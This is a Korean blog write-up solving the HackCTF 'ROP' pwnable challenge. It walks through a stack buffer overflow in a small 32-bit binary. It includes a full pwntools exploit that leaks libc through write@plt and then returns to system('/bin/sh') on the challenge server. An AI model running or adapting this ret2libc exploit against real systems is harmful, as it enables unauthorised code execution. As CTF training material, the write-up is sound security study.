tmxklab

[HackCTF/Pwnable] ROP 본문

War Game/HackCTF

[HackCTF/Pwnable] ROP

tmxk4221 2020. 7. 20. 20:56

1. 문제

nc ctf.j0n9hyun.xyz 3021

 

1) mitigation

 

2) 문제 확인

 

3) 코드흐름 파악

3-1) main()

int __cdecl main(int argc, const char **argv, const char **envp)
{
  vulnerable_function();
  write(1, "Hello, World!\n", 0xEu);
  return 0;
}

 

 

3-2) vulnerable_function()

ssize_t vulnerable_function()
{
  char buf; // [esp+0h] [ebp-88h]

  return read(0, &buf, 0x100u);
}

read함수에서 bof발생 -> ret건드릴 수 있음

 


2. 접근 방법

 

공격 프로세스)

  • bof를 수행하여 write함수의 주소 값 leak한 후 다시 vuln함수로 back

  • leak한 주소 값을 통해 system함수와 binsh주소 값 찾기

  • 다시 bof를 수행하여 rtl수행

 


3. 풀이

 

payload 1 = [ dummy(0x8c) ] + [ write_plt ] + [ pppr ] + [ 1 ] + [ write_got ] +[ 4 ] + [ vuln_addr ]

 

payload 2 = [ dummy(0x8c ] + [ system_addr ] + [ dummy(0x4) ] + [ binsh ]

 

( pppr은 "$ROPGadget --binary ./rop | grep ret"에서 pop pop pop ret 추출하고 주소 값 쓰면됨 )

 

주의할 점)

  • 로컬에서는 /lib/i386-linux-gnu/libc.so.6와 링킹되어 있어서 익스 가능(각자 링킹된 라이브러리 다를 수 있음, 확인 $ldd "elf파일")
  • 원격에서는 주어진 ./libc.so.6을 이용해야 익스 가능(libc.so.6 주어짐)

 

익스코드)

from pwn import *

context.log_level = "debug"

#p = process("./rop")
p = remote("ctf.j0n9hyun.xyz", 3021)
#libc = ELF("/lib/i386-linux-gnu/libc.so.6")
libc = ELF("./libc.so.6")
e = ELF("./rop")
#gdb.attach(p)

system_offset = libc.symbols['system']
binsh_offset = libc.search("/bin/sh").next()
write_offset = libc.symbols["write"]
write_plt = e.plt['write']
write_got = e.got['write']
vuln_addr = e.symbols['vulnerable_function']
pppr = 0x8048509

payload = "A"*0x8c
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)
payload += p32(write_got)
payload += p32(0x4)
payload += p32(vuln_addr)

# 1. leak write address
p.send(payload)

write_addr = u32(p.recv())

base_addr = write_addr - write_offset
system_addr = base_addr + system_offset
binsh_addr = base_addr + binsh_offset

log.info("base addr   : "+hex(base_addr))
log.info("write addr  : "+hex(write_addr))
log.info("system addr : "+hex(system_addr))
log.info("binsh addr  : "+hex(binsh_addr))

# 2. return to system("/bin/sh")
payload = "A"*0x8c
payload += p32(system_addr)
payload += "A"*4
payload += p32(binsh_addr)

p.send(payload)

p.interactive()

 

실행결과)

'War Game > HackCTF' 카테고리의 다른 글

[HackCTF/Pwnable] sysrop  (0) 2020.08.06
[HackCTF/Pwnable] Unexploitable #1  (0) 2020.08.06
[HackCTF/Pwnable] UAF  (0) 2020.07.20
[HackCTF/Pwnable] you_are_silver  (0) 2020.06.30
[HackCTF/Pwnable] Pwning  (2) 2020.06.23
Comments